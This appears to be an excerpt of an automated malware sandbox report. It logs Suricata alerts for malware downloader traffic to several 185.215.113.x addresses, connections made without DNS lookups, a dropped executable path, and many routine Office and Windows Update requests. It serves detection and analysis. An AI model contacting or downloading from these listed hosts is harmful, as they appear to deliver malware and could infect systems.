Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50039 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:50069 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:50137 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50228 -> 52.182.143.212:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50327 -> 20.189.173.23:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_0042CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

23_2_0042CE44

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5HFlVnLN8KF2Mzx&MD=cRFLAPcp HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5HFlVnLN8KF2Mzx&MD=cRFLAPcp HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
